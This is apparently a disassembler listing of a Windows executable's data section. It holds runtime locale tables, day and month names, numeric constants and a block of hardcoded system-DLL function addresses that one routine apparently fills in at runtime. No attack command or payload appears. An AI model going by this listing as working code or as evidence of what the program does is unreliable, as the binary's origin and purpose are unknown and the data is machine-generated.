		dd offset byte_4C5345
		dd offset aChile	; "Chile"
		dd offset byte_4C4843
		dd 303538h, 0
a1252_23	db '1252',0
		align 4
a8		db 0Ah
		db '8',0
		align 10h
a380a		db '380a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 595345h
		dd offset aUruguay	; "Uruguay"
		dd 595255h, 303538h, 0
a1252_24	db '1252',0
		align 4
		db 0Ah
		db '<',0
		align 4
a3c0a		db '3c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 5A5345h
		dd offset aParaguay	; "Paraguay"
		dd 595250h, 303538h, 0
a1252_25	db '1252',0
		align 4
word_455C74	dw 0C0Ch		; DATA XREF: _TestDefaultCountry+34r
		dw 0C1Ah
		dd 4361007h, 42D080Ch, 100C0403h, 81D0810h
off_455C88	dd offset aAmerica	; DATA XREF: ___get_qualified_locale+9Co
					; "america"
		dd 415355h
		dd offset aBritain	; "britain"
		dd 524247h
		dd offset aChina	; "china"
		dd offset byte_4E4843
		dd offset aCzech	; "czech"
		dd offset dword_455A38+0Bh
		dd offset aEngland	; "england"
		dd 524247h
		dd offset aGreatBritain	; "great britain"
		dd 524247h
		dd offset aHolland	; "holland"
		dd offset aIoctlsocket+0Ah
		dd offset aHongKong	; "hong-kong"
		dd offset dword_474B48
		dd offset aNewZealand	; "new-zealand"
		dd offset word_4C5A4E
		dd offset aNz		; "nz"
		dd offset word_4C5A4E
		dd offset aPrChina_0	; "pr china"
		dd offset byte_4E4843
		dd offset aPrChina	; "pr-china"
		dd offset byte_4E4843
		dd offset aPuertoRico	; "puerto-rico"
		dd offset dword_495250
		dd offset aSlovak	; "slovak"
		dd offset byte_4B5653
		dd offset aSouthAfrica_1 ; "south africa"
		dd offset word_46415A
		dd offset aSouthKorea_0	; "south korea"
		dd 524F4Bh
		dd offset aSouthAfrica_0 ; "south-africa"
		dd offset word_46415A
		dd offset aSouthKorea	; "south-korea"
		dd 524F4Bh
		dd offset aTrinidadTobago ; "trinidad &	tobago"
		dd offset dword_4F5454
		dd offset aUk		; "uk"
		dd 524247h
		dd offset aUnitedKingdom ; "united-kingdom"
		dd 524247h
		dd offset aUnitedStates	; "united-states"
		dd 415355h
		dd offset aUs		; "us"
		dd 415355h
off_455D40	dd offset aAmerican	; DATA XREF: ___get_qualified_locale+67o
					; "american"
		dd 554E45h
		dd offset aAmericanEngl_0 ; "american english"
		dd 554E45h
		dd offset aAmericanEnglis ; "american-english"
		dd 554E45h
		dd offset aAustralian	; "australian"
		dd 414E45h
		dd offset aBelgian	; "belgian"
		dd 424C4Eh
		dd offset aCanadian	; "canadian"
		dd 434E45h
		dd offset aChh		; "chh"
		dd offset word_48485A
		dd offset aChi		; "chi"
		dd offset word_49485A
		dd offset aChinese	; "chinese"
		dd 534843h
		dd offset aChineseHongkon ; "chinese-hongkong"
		dd offset word_48485A
		dd offset aChineseSimplif ; "chinese-simplified"
		dd 534843h
		dd offset aChineseSingapo ; "chinese-singapore"
		dd offset word_49485A
		dd offset aChineseTraditi ; "chinese-traditional"
		dd 544843h
		dd offset aDutchBelgian	; "dutch-belgian"
		dd 424C4Eh
		dd offset aEnglishAmerica ; "english-american"
		dd 554E45h
		dd offset aEnglishAus	; "english-aus"
		dd 414E45h
		dd offset aEnglishBelize ; "english-belize"
		dd offset byte_4C4E45
		dd offset aEnglishCan	; "english-can"
		dd 434E45h
		dd offset aEnglishCaribbe ; "english-caribbean"
		dd 424E45h
		dd offset aEnglishIre	; "english-ire"
		dd offset byte_494E45
		dd offset aEnglishJamaica ; "english-jamaica"
		dd offset byte_4A4E45
		dd offset aEnglishNz	; "english-nz"
		dd 5A4E45h
		dd offset aEnglishSouthAf ; "english-south africa"
		dd 534E45h
		dd offset aEnglishTrinida ; "english-trinidad y	tobago"
		dd 544E45h
		dd offset aEnglishUk	; "english-uk"
		dd offset byte_474E45
		dd offset aEnglishUs	; "english-us"
		dd 554E45h
		dd offset aEnglishUsa	; "english-usa"
		dd 554E45h
		dd offset aFrenchBelgian ; "french-belgian"
		dd 425246h
		dd offset aFrenchCanadian ; "french-canadian"
		dd 435246h
		dd offset aFrenchLuxembou ; "french-luxembourg"
		dd offset word_4C5246
		dd offset aFrenchSwiss	; "french-swiss"
		dd 535246h
		dd offset aGermanAustrian ; "german-austrian"
		dd 414544h
		dd offset aGermanLichtens ; "german-lichtenstein"
		dd 434544h
		dd offset aGermanLuxembou ; "german-luxembourg"
		dd offset dword_4C4544
		dd offset aGermanSwiss	; "german-swiss"
		dd 534544h
		dd offset aIrishEnglish	; "irish-english"
		dd offset byte_494E45
		dd offset aItalianSwiss	; "italian-swiss"
		dd 535449h
		dd offset aNorwegian	; "norwegian"
		dd 524F4Eh
		dd offset aNorwegianBokma ; "norwegian-bokmal"
		dd 524F4Eh
		dd offset aNorwegianNynor ; "norwegian-nynorsk"
		dd offset word_4E4F4E
		dd offset aPortugueseBraz ; "portuguese-brazilian"
		dd 425450h
		dd offset aSpanishArgenti ; "spanish-argentina"
		dd 535345h
		dd offset aSpanishBolivia ; "spanish-bolivia"
		dd 425345h
		dd offset aSpanishChile	; "spanish-chile"
		dd offset byte_4C5345
		dd offset aSpanishColombi ; "spanish-colombia"
		dd offset byte_4F5345
		dd offset aSpanishCostaRi ; "spanish-costa rica"
		dd 435345h
		dd offset aSpanishDominic ; "spanish-dominican republic"
		dd offset aErrorGetting_0+5
		dd offset aSpanishEcuador ; "spanish-ecuador"
		dd offset byte_465345
		dd offset aSpanishElSalva ; "spanish-el	salvador"
		dd offset off_455344+1
		dd offset aSpanishGuatema ; "spanish-guatemala"
		dd offset byte_475345
		dd offset aSpanishHondura ; "spanish-honduras"
		dd offset byte_485345
		dd offset aSpanishMexican ; "spanish-mexican"
		dd offset byte_4D5345
		dd offset aSpanishModern ; "spanish-modern"
		dd offset byte_4E5345
		dd offset aSpanishNicarag ; "spanish-nicaragua"
		dd offset byte_495345
		dd offset aSpanishPanama ; "spanish-panama"
		dd 415345h
		dd offset aSpanishParagua ; "spanish-paraguay"
		dd 5A5345h
		dd offset aSpanishPeru	; "spanish-peru"
		dd 525345h
		dd offset aSpanishPuertoR ; "spanish-puerto rico"
		dd 555345h
		dd offset aSpanishUruguay ; "spanish-uruguay"
		dd 595345h
		dd offset aSpanishVenezue ; "spanish-venezuela"
		dd 565345h
		dd offset aSwedishFinland ; "swedish-finland"
		dd offset byte_465653
		dd offset aSwiss	; "swiss"
		dd 534544h
		dd offset aUk		; "uk"
		dd offset byte_474E45
		dd offset aUs		; "us"
		dd 554E45h
		dd offset aUsa		; "usa"
		dd 554E45h
; void *off_455F48
off_455F48	dd offset off_455F50	; DATA XREF: ___init_time+70w
					; ___init_time:loc_4348C1w ...
		align 10h
off_455F50	dd offset aSun		; DATA XREF: ___init_time:loc_4348C1o
					; .data:off_455F48o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm_0		; "AM"
		dd offset aPm_2		; "PM"
		dd offset aMDYy		; "M/d/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset aHMmSs	; "H:mm:ss"
		align 10h
dword_456000	dd 2Eh,	0		; DATA XREF: ___init_numeric+EEo
					; .data:off_456008o
off_456008	dd offset dword_456000	; DATA XREF: ___init_monetary+D4w
					; ___init_monetary+F6o	...
off_45600C	dd offset dword_4F4B04	; DATA XREF: ___init_monetary+E2w
off_456010	dd offset dword_4F4B04	; DATA XREF: ___init_monetary+F1w
		dd offset dword_4F4B04
		dd offset dword_4F4B04
		dd offset dword_4F4B04
		dd offset dword_4F4B04
		dd offset dword_4F4B04
		dd offset dword_4F4B04
		dd offset dword_4F4B04
		dd 2 dup(7F7F7F7Fh)
off_456038	dd offset off_456008	; DATA XREF: ___init_numeric:loc_435289r
					; ___init_numeric+F8r ...
		align 10h
dword_456040	dd 2 dup(0)		; DATA XREF: ___multtenpow12+6o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4561A0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: ___multtenpow12+2Ao
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_456300	dd offset off_43F170	; DATA XREF: .rdata:off_43F1B0o
					; .rdata:0043F2DCo ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_456318	dd offset off_43F170	; DATA XREF: .rdata:off_43F1C8o
					; .rdata:0043F20Co ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_456338	dd offset off_43F170	; DATA XREF: .rdata:off_43F218o
					; .rdata:0043F25Co ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_456358	dd offset off_43F170	; DATA XREF: .rdata:off_43F268o
					; .rdata:0043F2ACo ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_456378	dd offset off_43F170	; DATA XREF: .rdata:off_43F2E8o
					; .rdata:0043F324o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z	; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		align 8
dword_456398	dd 2 dup(0)		; DATA XREF: sub_401317+C8o
dword_4563A0	dd 2 dup(0)		; DATA XREF: sub_401317+62o
; char dword_4563A8[]
dword_4563A8	dd 0			; DATA XREF: WinMain(x,x,x,x)+38Fo
					; sub_401CC7+AD4o ...
		dd 5 dup(0)
dword_4563C0	dd 0			; DATA XREF: sub_401CC7+B30r
					; sub_415B7F+60r
		dd 2D9h	dup(0)
dword_456F28	dd 0			; DATA XREF: sub_401CC7+5FBCr
					; sub_401CC7+6091r ...
		dd 7Fh dup(0)
dword_457128	dd 0			; DATA XREF: sub_40B78E+41w
					; sub_40B8C9+40w ...
dword_45712C	dd 0			; DATA XREF: sub_40B78E+47w
					; sub_40B8C9+46w ...
dword_457130	dd 0			; DATA XREF: sub_40B78E+52w
					; sub_40B8C9+3Ar ...
dword_457134	dd 0			; DATA XREF: sub_401317+Cr
					; sub_4019E7+B9w ...
dword_457138	dd 0			; DATA XREF: sub_40B8C9+75r
					; sub_40BAAA+2Aw ...
dword_45713C	dd 0			; DATA XREF: WinMain(x,x,x,x)+3DEw
					; WinMain(x,x,x,x)+456w ...
byte_457140	db 0			; DATA XREF: sub_4019E7+91o
					; sub_401CC7+5F07r ...
		align 4
		dd 0BFh	dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .data:off_450724o
		dd 3345h dup(0)
		db 2 dup(0)
word_46415A	dw 0			; DATA XREF: .data:00455AD4o
					; .data:00455CFCo ...
		dd 47Ah	dup(0)
		db 0
byte_465345	db 3 dup(0)		; DATA XREF: .data:00455BD4o
					; .data:00455EBCo
		dd 0C2h	dup(0)
		db 3 dup(0)
byte_465653	db 0			; DATA XREF: .data:00455F24o
		dd 3D3Dh dup(0)
dword_474B48	dd 0BFh	dup(0)		; DATA XREF: .data:00455CC4o
		db 0
byte_474E45	db 3 dup(0)		; DATA XREF: .data:00455E04o
					; .data:00455F34o
		dd 0FEh	dup(0)
		db 0
byte_475241	db 3 dup(0)		; DATA XREF: .data:00455BB0o
		dd 40h dup(0)
		db 0
byte_475345	db 3 dup(0)		; DATA XREF: .data:004559F0o
					; .data:00455ECCo
		dd 3D44h dup(0)
		db 2 dup(0)
word_48485A	dw 0			; DATA XREF: .data:00455D74o
					; .data:00455D8Co
		dd 2BAh	dup(0)
		db 0
byte_485345	db 3 dup(0)		; DATA XREF: .data:00455ED4o
		dd 3D44h dup(0)
		db 2 dup(0)
word_49485A	dw 0			; DATA XREF: .data:00455D7Co
					; .data:00455D9Co
		dd 17Ah	dup(0)
		db 0
byte_494E45	db 3 dup(0)		; DATA XREF: .data:00455DDCo
					; .data:00455E5Co
		dd 0FEh	dup(0)
		db 3 dup(0)
byte_495243	db 0			; DATA XREF: .data:00455A50o
		align 10h
dword_495250	dd 3Dh dup(0)		; DATA XREF: .data:00455CECo
		db 0
byte_495345	db 3 dup(0)		; DATA XREF: .data:00455EECo
		dd 3EBFh dup(0)
		db 0
byte_4A4E45	db 3 dup(0)		; DATA XREF: .data:00455DE4o
		dd 40FFh dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .data:off_4508B8o
		dd 102h	dup(0)
		db 3 dup(0)
byte_4B5653	db 0			; DATA XREF: .data:00455CF4o
		dd 3BBBh dup(0)
		db 2 dup(0)
word_4C4542	dw 0			; DATA XREF: .data:0045591Co
dword_4C4544	dd 0BFh	dup(0)		; DATA XREF: .data:00455E4Co
		db 3 dup(0)
byte_4C4843	db 0			; DATA XREF: .data:00455C08o
		dd 180h	dup(0)
		db 0
byte_4C4E45	db 3 dup(0)		; DATA XREF: .data:00455DC4o
		dd 3Eh dup(0)
		db 3 dup(0)
byte_4C4F43	db 0			; DATA XREF: .data:00455B58o
		dd 0C0h	dup(0)
		db 2 dup(0)
word_4C5246	dw 0			; DATA XREF: .data:00455A74o
					; .data:00455E2Co
		dd 3Fh dup(0)
		db 0
byte_4C5345	db 3 dup(0)		; DATA XREF: .data:00455C00o
					; .data:00455E9Co
		db 0
byte_4C5349	db 3 dup(0)		; DATA XREF: .data:00455864o
					; .data:0045586Co
		dd 1C0h	dup(0)
		db 2 dup(0)
word_4C5A4E	dw 0			; DATA XREF: .data:00455CCCo
					; .data:00455CD4o
		dd 39C0h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .data:off_44FB00o
		dd 37Ch	dup(0)
dword_4D4F44	dd 100h	dup(0)		; DATA XREF: .data:00455B00o
		db 0
byte_4D5345	db 3 dup(0)		; DATA XREF: .data:004558E8o
					; .data:00455EDCo
		dd 3Fh dup(0)
		db 3 dup(0)
byte_4D5447	db 0			; DATA XREF: .data:004559F8o
		dd 3AB8h dup(0)
dword_4E3F28	dd 0D1FAh		; DATA XREF: sub_401317+FDw
					; sub_40B78E+13o ...
dword_4E3F2C	dd 1Ch			; DATA XREF: WinMain(x,x,x,x)+3Dw
					; sub_401CC7:loc_4046C6r ...
dword_4E3F30	dd 0			; DATA XREF: WinMain(x,x,x,x):loc_4018F9o
; char Dest[]
Dest		db 80h dup(0)		; DATA XREF: WinMain(x,x,x,x)+495o
					; WinMain(x,x,x,x)+52Fo ...
; char byte_4E3FB4[]
byte_4E3FB4	db 40h dup(0)		; DATA XREF: WinMain(x,x,x,x)+4ABo
; char byte_4E3FF4[]
byte_4E3FF4	db 90h dup(0)		; DATA XREF: WinMain(x,x,x,x)+4C2o
dword_4E4084	dd 0			; DATA XREF: WinMain(x,x,x,x)+4B6w
					; WinMain(x,x,x,x)+546w ...
dword_4E4088	dd 0			; DATA XREF: WinMain(x,x,x,x)+4D5w
		dd 3 dup(0)
dword_4E4098	dd 0			; DATA XREF: WinMain(x,x,x,x)+13Dr
byte_4E409C	db 0			; DATA XREF: sub_401B4F+28r
					; sub_401B4F+30o
		align 10h
; char byte_4E40A0[]
byte_4E40A0	db 4 dup(0)		; DATA XREF: WinMain(x,x,x,x)+4C7o
					; WinMain(x,x,x,x)+552o
; char byte_4E40A4
byte_4E40A4	db 0			; DATA XREF: WinMain(x,x,x,x):loc_401983r
					; WinMain(x,x,x,x)+576o
		align 4
; char byte_4E40A8[]
byte_4E40A8	db 4 dup(0)		; DATA XREF: WinMain(x,x,x,x)+58Co
; char byte_4E40AC[]
byte_4E40AC	db 4 dup(0)		; DATA XREF: WinMain(x,x,x,x)+59Eo
dword_4E40B0	dd 0			; DATA XREF: WinMain(x,x,x,x)+4E3w
					; WinMain(x,x,x,x)+4FAr ...
dword_4E40B4	dd 0			; DATA XREF: WinMain(x,x,x,x)+49Aw
					; sub_401CC7+88Dr
dword_4E40B8	dd 0			; DATA XREF: .data:00440268o
dword_4E40BC	dd 0			; DATA XREF: WinMain(x,x,x,x)+24Do
; char byte_4E40C0[]
byte_4E40C0	db 4 dup(0)		; DATA XREF: sub_401CC7+7EB8o
dword_4E40C4	dd 0			; DATA XREF: sub_401CC7+22FBo
; char byte_4E40C8[]
byte_4E40C8	db 4 dup(0)		; DATA XREF: sub_401CC7+1EA6o
; char byte_4E40CC[]
byte_4E40CC	db 4 dup(0)		; DATA XREF: sub_401CC7+414Ao
; char byte_4E40D0[]
byte_4E40D0	db 4 dup(0)		; DATA XREF: sub_401CC7+429Ao
; char byte_4E40D4[]
byte_4E40D4	db 4 dup(0)		; DATA XREF: sub_401CC7+451Fo
; char byte_4E40D8[]
byte_4E40D8	db 4 dup(0)		; DATA XREF: sub_401CC7+5D2Co
dword_4E40DC	dd 77C72C6Bh		; DATA XREF: sub_409E0C+4A7w
					; sub_409E0C+4EBr ...
dword_4E40E0	dd 77EBA994h		; DATA XREF: sub_409E0C+65w
					; sub_41A5C1+166r
dword_4E40E4	dd 7622A3F4h		; DATA XREF: sub_409E0C+80Bw
					; sub_409E0C+880r ...
dword_4E40E8	dd 71C45229h		; DATA XREF: sub_409E0C+9D8w
					; sub_409E0C+A43r ...
dword_4E40EC	dd 71C24870h		; DATA XREF: sub_409E0C+98Aw
					; sub_409E0C+A13r ...
dword_4E40F0	dd 77C71BB0h		; DATA XREF: sub_409E0C+48Dw
					; sub_409E0C+4DBr ...
dword_4E40F4	dd 77D4808Bh		; DATA XREF: sub_409E0C+213w
					; sub_409E0C+234r ...
dword_4E40F8	dd 71C4502Ch		; DATA XREF: sub_409E0C+9CBw
					; sub_409E0C+A3Br ...
dword_4E40FC	dd 77DE801Bh		; DATA XREF: sub_409E0C+372w
					; sub_409E0C+3C7r ...
dword_4E4100	dd 77DDACABh		; DATA XREF: sub_409E0C+40Fw
					; sub_41B964+11Er
dword_4E4104	dd 77DE8075h		; DATA XREF: sub_409E0C+37Fw
					; sub_409E0C+3CFr ...
dword_4E4108	dd 77DD7496h		; DATA XREF: sub_409E0C+3C0w
					; sub_419B93+ADr
dword_4E410C	dd 71AB1B7Bh		; DATA XREF: sub_409E0C+55Aw
					; sub_40FB88+115r ...
dword_4E4110	dd 77E686CCh		; DATA XREF: sub_409E0C+72w
					; sub_409E0C+D2r ...
dword_4E4114	dd 71C2498Bh		; DATA XREF: sub_409E0C+97Dw
					; sub_409E0C+A06r ...
dword_4E4118	dd 77DDAB2Fh		; DATA XREF: sub_409E0C+3A6w
					; sub_409E0C+3E7r ...
dword_4E411C	dd 7620E8C3h		; DATA XREF: sub_409E0C+859w
					; sub_409E0C+8ACr ...
dword_4E4120	dd 77DD23D7h		; DATA XREF: sub_409E0C+2A5w
					; sub_409E0C+2F0r ...
dword_4E4124	dd 76214750h		; DATA XREF: sub_409E0C+84Cw
					; sub_409E0C+8A4r ...
dword_4E4128	dd 77E6D75Bh		; DATA XREF: sub_409E0C+B3w
					; sub_40B9D6+16o ...
dword_4E412C	dd 7620BD61h		; DATA XREF: sub_409E0C+866w
					; sub_409E0C+8B4r ...
dword_4E4130	dd 71AB60C9h		; DATA XREF: sub_409E0C+54Dw
					; sub_409E0C+6D0r ...
dword_4E4134	dd 77EBA6E9h		; DATA XREF: sub_409E0C+58w
					; sub_409E0C+CAr ...
dword_4E4138	dd 76D62A58h		; DATA XREF: sub_409E0C+934w
					; sub_413D3D+11Ar
dword_4E413C	dd 76F36EAAh		; DATA XREF: sub_401CC7:loc_4040DFr
					; sub_409E0C+A95w ...
dword_4E4140	dd 77E802FCh		; DATA XREF: sub_409E0C+A6w
					; sub_409E0C+F2r ...
dword_4E4144	dd 77C75455h		; DATA XREF: sub_409E0C+480w
					; sub_409E0C+4D3r ...
dword_4E4148	dd 71AB12A7h		; DATA XREF: sub_409E0C+5F6w
					; sub_40C63B+20r ...
dword_4E414C	dd 71C574FAh		; DATA XREF: sub_409E0C+9BEw
					; sub_409E0C+A33r ...
dword_4E4150	dd 71AB1746h		; DATA XREF: sub_409E0C+5E9w
					; sub_409E0C+754r ...
dword_4E4154	dd 71C21CA3h		; DATA XREF: sub_409E0C+A0Cw
dword_4E4158	dd 71B28D0Dh		; DATA XREF: sub_409E0C+B50w
dword_4E415C	dd 762211EFh		; DATA XREF: sub_409E0C+7FEw
					; sub_409E0C+86Dr
dword_4E4160	dd 77D902E3h		; DATA XREF: sub_409E0C+1B3w
					; sub_41910C+15r
dword_4E4164	dd 71C2FA86h		; DATA XREF: sub_409E0C+997w
					; sub_409E0C+A1Br ...
dword_4E4168	dd 77DE1291h		; DATA XREF: sub_409E0C+38Cw
					; sub_409E0C+3D7r ...
dword_4E416C	dd 77E2C1B3h		; DATA XREF: sub_409E0C+399w
					; sub_409E0C+3DFr ...
dword_4E4170	dd 73B81E3Bh		; DATA XREF: sub_409E0C+C85w
					; sub_409E0C+C8Cr ...
dword_4E4174	dd 71ABF628h		; DATA XREF: sub_409E0C+6ACw
					; sub_411278+D0r
dword_4E4178	dd 71AB1836h		; DATA XREF: sub_401317+1Dr
					; sub_401317+23r ...
dword_4E417C	dd 77C72889h		; DATA XREF: sub_409E0C+4B4w
					; sub_415F56+207r
dword_4E4180	dd 71C453F8h		; DATA XREF: sub_409E0C+9E5w
					; sub_409E0C+A4Br ...
dword_4E4184	dd 77DD5C55h		; DATA XREF: sub_401000+51r
					; sub_409E0C+2B2w ...
dword_4E4188	dd 77E96645h		; DATA XREF: sub_409E0C+7Fw
					; sub_409E0C+DAr ...
dword_4E418C	dd 77428B97h		; DATA XREF: sub_401CC7+5A70r
					; sub_401CC7+7B1Br ...
dword_4E4190	dd 71AB41DAh		; DATA XREF: WinMain(x,x,x,x)+8Cr
					; sub_401CC7+5267r ...
dword_4E4194	dd 762059A3h		; DATA XREF: sub_409E0C+825w
					; sub_409E0C+890r ...
dword_4E4198	dd 71C4A1B4h		; DATA XREF: sub_409E0C+9A4w
					; sub_409E0C+A23r
dword_4E419C	dd 1F7CD214h		; DATA XREF: sub_409E0C+C0Ew
					; sub_409E0C+C3Fr
dword_4E41A0	dd 77E09134h		; DATA XREF: sub_409E0C+2CCw
					; sub_4192B6+47r
dword_4E41A4	dd 77D4456Bh		; DATA XREF: sub_409E0C+22Dw
					; sub_4127AD+40r ...
dword_4E41A8	dd 76D629BBh		; DATA XREF: sub_409E0C+91Aw
					; sub_409E0C+92Er ...
dword_4E41AC	dd 1F7B9D96h		; DATA XREF: sub_409E0C+C28w
dword_4E41B0	dd 77E09070h		; DATA XREF: sub_409E0C+2D9w
					; sub_4192B6+4Fr
dword_4E41B4	dd 71AB1740h		; DATA XREF: sub_409E0C+574w
					; sub_409E0C+6E8r ...
dword_4E41B8	dd 7620AFB6h		; DATA XREF: sub_409E0C+83Fw
					; sub_409E0C+873r
dword_4E41BC	dd 77D5C13Ah		; DATA XREF: sub_409E0C+220w
					; sub_409E0C+23Cr ...
dword_4E41C0	dd 77D45B19h		; DATA XREF: sub_409E0C+172w
					; sub_409E0C+1C2r ...
dword_4E41C4	dd 71AB157Eh		; DATA XREF: sub_401CC7+1DE8r
					; sub_401CC7+5C29r ...
dword_4E41C8	dd 71AB3E5Dh		; DATA XREF: sub_4019E7+C4r
					; sub_401CC7+52F1r ...
dword_4E41CC	dd 71AB14DCh		; DATA XREF: sub_409E0C+567w
					; sub_409E0C+6DCr ...
dword_4E41D0	dd 0CC0004h		; DATA XREF: sub_409E0C+8DBw
					; sub_409E0C:loc_40A705w ...
dword_4E41D4	dd 77DD590Bh		; DATA XREF: sub_401000+26r
					; sub_409E0C+28Bw ...
dword_4E41D8	dd 71ABD755h		; DATA XREF: sub_401CC7+7AA6r
					; sub_409E0C+69Fw ...
dword_4E41DC	dd 77DF7311h		; DATA XREF: sub_409E0C+32Dw
					; sub_409E0C+341r ...
dword_4E41E0	dd 77DDA2AFh		; DATA XREF: sub_409E0C+3B3w
					; sub_409E0C+3EFr ...
dword_4E41E4	dd 1F7CD927h		; DATA XREF: sub_409E0C+C01w
					; sub_409E0C+C37r
dword_4E41E8	dd 76206853h		; DATA XREF: sub_409E0C+818w
					; sub_409E0C+888r ...
dword_4E41EC	dd 77D4932Ch		; DATA XREF: sub_409E0C+206w
					; sub_409E0C+227r ...
dword_4E41F0	dd 77D5E310h		; DATA XREF: sub_409E0C+18Cw
					; sub_409E0C+1D2r ...
dword_4E41F4	dd 76206B7Fh		; DATA XREF: sub_409E0C+832w
					; sub_409E0C+898r ...
dword_4E41F8	dd 71AB1444h		; DATA XREF: sub_409E0C+624w
					; sub_409E0C+774r ...
dword_4E41FC	dd 77DD189Ah		; DATA XREF: sub_401000+5Ar
					; sub_409E0C+2BFw ...
dword_4E4200	dd 71AB3F8Dh		; DATA XREF: sub_409E0C+66Bw
					; sub_409E0C+79Cr ...
dword_4E4204	dd 77DD5D20h		; DATA XREF: sub_409E0C+320w
					; sub_409E0C+334r ...
dword_4E4208	dd 71AB1890h		; DATA XREF: sub_409E0C+644w
					; sub_409E0C+784r ...
dword_4E420C	dd 77C76B34h		; DATA XREF: sub_409E0C+44Cw
					; sub_409E0C+4AEr ...
dword_4E4210	dd 77D5E38Ch		; DATA XREF: sub_409E0C+199w
					; sub_409E0C+1DAr ...
dword_4E4214	dd 77DDA20Bh		; DATA XREF: sub_409E0C+365w
					; sub_409E0C+3BAr ...
dword_4E4218	dd 76F36EEBh		; DATA XREF: sub_409E0C+AA2w
dword_4E421C	dd 71AB12A7h		; DATA XREF: sub_409E0C+5DCw
					; sub_409E0C+748r ...
dword_4E4220	dd 71AB1746h		; DATA XREF: sub_4019E7+3Er
					; sub_401CC7+52A3r ...
dword_4E4224	dd 77EBA595h		; DATA XREF: sub_409E0C+4Bw
